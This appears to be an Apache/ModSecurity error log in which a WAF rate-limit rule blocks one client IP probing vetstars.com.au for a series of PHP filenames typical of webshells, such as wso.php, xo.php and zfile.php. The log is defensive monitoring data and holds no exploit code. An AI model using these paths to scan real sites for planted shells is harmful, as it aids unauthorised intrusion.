[Wed Dec 17 04:13:52.066906 2025] [:error] [pid 61379:tid 61435] [client 135.235.159.29:57555] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUG9gFX4E86rnrNa_8NuSAAAAFg"]
[Wed Dec 17 04:13:52.819237 2025] [:error] [pid 61379:tid 61420] [client 135.235.159.29:41444] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUG9gFX4E86rnrNa_8NuTQAAAEk"]
[Wed Dec 17 04:13:53.587950 2025] [:error] [pid 61380:tid 61444] [client 135.235.159.29:57866] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUG9gVDXNylu9SqhT6oPKwAAAIY"]
[Wed Dec 17 04:13:55.384929 2025] [:error] [pid 61379:tid 61424] [client 135.235.159.29:7030] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUG9g1X4E86rnrNa_8NuVwAAAE0"]
[Wed Dec 17 04:13:56.172432 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:48456] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUG9hFDXNylu9SqhT6oPNgAAAI0"]
[Wed Dec 17 04:13:57.721863 2025] [:error] [pid 61379:tid 61428] [client 135.235.159.29:54205] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUG9hVX4E86rnrNa_8NuZwAAAFE"]
[Wed Dec 17 04:13:58.644738 2025] [:error] [pid 61472:tid 61485] [client 135.235.159.29:53013] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUG9hhAY-vW9raLQk19X_wAAAMs"]
[Wed Dec 17 04:13:59.759755 2025] [:error] [pid 61472:tid 61486] [client 135.235.159.29:45898] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUG9hxAY-vW9raLQk19YBQAAAMw"]
[Wed Dec 17 04:14:00.732367 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:57864] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUG9iBAY-vW9raLQk19YEAAAANA"]
[Wed Dec 17 04:14:01.830461 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:48565] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUG9iRAY-vW9raLQk19YGQAAAMM"]
[Wed Dec 17 04:14:03.502937 2025] [:error] [pid 61378:tid 61390] [client 135.235.159.29:51358] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUG9ix5G6F9PXKmYDCSJQQAAAAc"]
[Wed Dec 17 04:14:05.136866 2025] [:error] [pid 61379:tid 61420] [client 135.235.159.29:48552] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUG9jVX4E86rnrNa_8NurAAAAEk"]
[Wed Dec 17 04:14:06.873421 2025] [:error] [pid 61379:tid 61424] [client 135.235.159.29:6998] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUG9jlX4E86rnrNa_8NuswAAAE0"]
[Wed Dec 17 04:14:09.240157 2025] [:error] [pid 61472:tid 61492] [client 135.235.159.29:48508] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG9kRAY-vW9raLQk19YTQAAANI"]
[Wed Dec 17 04:14:11.271323 2025] [:error] [pid 61379:tid 61430] [client 135.235.159.29:7038] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG9k1X4E86rnrNa_8NuugAAAFM"]
[Wed Dec 17 04:14:14.149153 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:49839] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG9lh5G6F9PXKmYDCSJVgAAAAY"]
[Wed Dec 17 04:14:16.144760 2025] [:error] [pid 61380:tid 61453] [client 135.235.159.29:44340] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG9mFDXNylu9SqhT6oPbwAAAI8"]
[Wed Dec 17 04:14:18.432302 2025] [:error] [pid 61379:tid 61434] [client 135.235.159.29:6997] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUG9mlX4E86rnrNa_8NuxwAAAFc"]
[Wed Dec 17 04:14:22.335806 2025] [:error] [pid 61472:tid 61486] [client 135.235.159.29:48448] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUG9nhAY-vW9raLQk19YfwAAAMw"]
[Wed Dec 17 04:14:22.754448 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:45914] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUG9nlX4E86rnrNa_8Nu0AAAAEg"]
[Wed Dec 17 04:14:24.539732 2025] [:error] [pid 61378:tid 61401] [client 135.235.159.29:45938] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUG9oB5G6F9PXKmYDCSJYwAAABI"]
[Wed Dec 17 04:14:25.821624 2025] [:error] [pid 61380:tid 61454] [client 135.235.159.29:55043] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUG9oVDXNylu9SqhT6oPggAAAJA"]
[Wed Dec 17 04:14:27.387628 2025] [:error] [pid 61472:tid 61479] [client 135.235.159.29:6701] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUG9oxAY-vW9raLQk19YkAAAAMU"]
[Wed Dec 17 04:14:33.601913 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:48488] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUG9qRAY-vW9raLQk19YzwAAAMM"]
[Wed Dec 17 04:14:34.931830 2025] [:error] [pid 61380:tid 61456] [client 135.235.159.29:48473] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUG9qlDXNylu9SqhT6oQAwAAAJI"]
[Wed Dec 17 04:14:38.134156 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:45891] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUG9rhAY-vW9raLQk19Y3AAAANA"]
[Wed Dec 17 04:14:41.385205 2025] [:error] [pid 61378:tid 61404] [client 135.235.159.29:54878] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUG9sR5G6F9PXKmYDCSJsgAAABU"]
[Wed Dec 17 04:14:42.475062 2025] [:error] [pid 61378:tid 61398] [client 135.235.159.29:48490] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUG9sh5G6F9PXKmYDCSJvAAAAA8"]
[Wed Dec 17 04:14:43.184490 2025] [:error] [pid 61472:tid 61479] [client 135.235.159.29:54885] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUG9sxAY-vW9raLQk19Y6gAAAMU"]
[Wed Dec 17 04:14:44.213452 2025] [:error] [pid 61378:tid 61402] [client 135.235.159.29:49816] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUG9tB5G6F9PXKmYDCSJwAAAABM"]
[Wed Dec 17 04:14:45.370558 2025] [:error] [pid 61472:tid 61483] [client 135.235.159.29:6991] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUG9tRAY-vW9raLQk19Y8AAAAMk"]
[Wed Dec 17 04:14:46.040031 2025] [:error] [pid 61472:tid 61495] [client 135.235.159.29:48537] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUG9thAY-vW9raLQk19Y9QAAANU"]
[Wed Dec 17 04:14:47.089763 2025] [:error] [pid 61472:tid 61487] [client 135.235.159.29:54888] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUG9txAY-vW9raLQk19Y_AAAAM0"]
[Wed Dec 17 04:14:48.054724 2025] [:error] [pid 61472:tid 61498] [client 135.235.159.29:48535] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUG9uBAY-vW9raLQk19ZAgAAANg"]
[Wed Dec 17 04:14:48.750050 2025] [:error] [pid 61380:tid 61448] [client 135.235.159.29:48563] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUG9uFDXNylu9SqhT6oQOQAAAIo"]
[Wed Dec 17 04:14:50.109137 2025] [:error] [pid 61380:tid 61459] [client 135.235.159.29:49834] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUG9ulDXNylu9SqhT6oQQQAAAJU"]
[Wed Dec 17 04:14:50.992747 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:57914] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUG9uhAY-vW9raLQk19ZDgAAANQ"]
[Wed Dec 17 04:14:52.374795 2025] [:error] [pid 61472:tid 61481] [client 135.235.159.29:48482] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUG9vBAY-vW9raLQk19ZDwAAAMc"]
[Wed Dec 17 04:14:53.259503 2025] [:error] [pid 61378:tid 61407] [client 135.235.159.29:48516] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUG9vR5G6F9PXKmYDCSJ1gAAABg"]
[Wed Dec 17 04:14:54.144638 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:57909] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUG9vhAY-vW9raLQk19ZFQAAANQ"]
[Wed Dec 17 04:14:54.857760 2025] [:error] [pid 61472:tid 61481] [client 135.235.159.29:42003] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUG9vhAY-vW9raLQk19ZGAAAAMc"]
[Wed Dec 17 04:14:56.406820 2025] [:error] [pid 61379:tid 61411] [client 135.235.159.29:57905] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUG9wFX4E86rnrNa_8NvIQAAAEA"]
[Wed Dec 17 04:14:57.469623 2025] [:error] [pid 61378:tid 61384] [client 135.235.159.29:53020] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aUG9wR5G6F9PXKmYDCSJ4AAAAAE"]
[Wed Dec 17 04:14:58.470573 2025] [:error] [pid 61378:tid 61387] [client 135.235.159.29:6932] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aUG9wh5G6F9PXKmYDCSJ4gAAAAQ"]
[Wed Dec 17 04:15:00.821785 2025] [:error] [pid 61379:tid 61423] [client 135.235.159.29:53042] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aUG9xFX4E86rnrNa_8NvMwAAAEw"]
[Wed Dec 17 04:15:02.486664 2025] [:error] [pid 61379:tid 61435] [client 135.235.159.29:54859] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aUG9xlX4E86rnrNa_8NvNgAAAFg"]
[Wed Dec 17 04:15:04.095396 2025] [:error] [pid 61472:tid 61474] [client 135.235.159.29:53798] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aUG9yBAY-vW9raLQk19ZRwAAAMA"]
[Wed Dec 17 04:15:05.506986 2025] [:error] [pid 61380:tid 61453] [client 135.235.159.29:49829] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aUG9yVDXNylu9SqhT6oQZAAAAI8"]
[Wed Dec 17 04:15:06.705140 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:7004] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aUG9ylX4E86rnrNa_8NvPQAAAEU"]
[Wed Dec 17 04:15:07.274744 2025] [:error] [pid 61379:tid 61417] [client 135.235.159.29:48541] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aUG9y1X4E86rnrNa_8NvPwAAAEY"]
[Wed Dec 17 04:15:08.572937 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:53016] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUG9zFDXNylu9SqhT6oQbAAAAI0"]
[Wed Dec 17 04:15:09.299949 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:48503] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUG9zRAY-vW9raLQk19ZXwAAANA"]
[Wed Dec 17 04:15:09.818472 2025] [:error] [pid 61472:tid 61478] [client 135.235.159.29:53803] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUG9zRAY-vW9raLQk19ZYgAAAMQ"]
[Wed Dec 17 04:15:10.287014 2025] [:error] [pid 61472:tid 61482] [client 135.235.159.29:54855] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUG9zhAY-vW9raLQk19ZZgAAAMg"]
[Wed Dec 17 04:15:11.060786 2025] [:error] [pid 61380:tid 61461] [client 135.235.159.29:54936] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aUG9z1DXNylu9SqhT6oQcgAAAJc"]
[Wed Dec 17 04:15:11.888740 2025] [:error] [pid 61378:tid 61406] [client 135.235.159.29:6995] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aUG9zx5G6F9PXKmYDCSJ-AAAABc"]
[Wed Dec 17 04:15:13.616095 2025] [:error] [pid 61472:tid 61487] [client 135.235.159.29:57877] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aUG90RAY-vW9raLQk19ZcQAAAM0"]
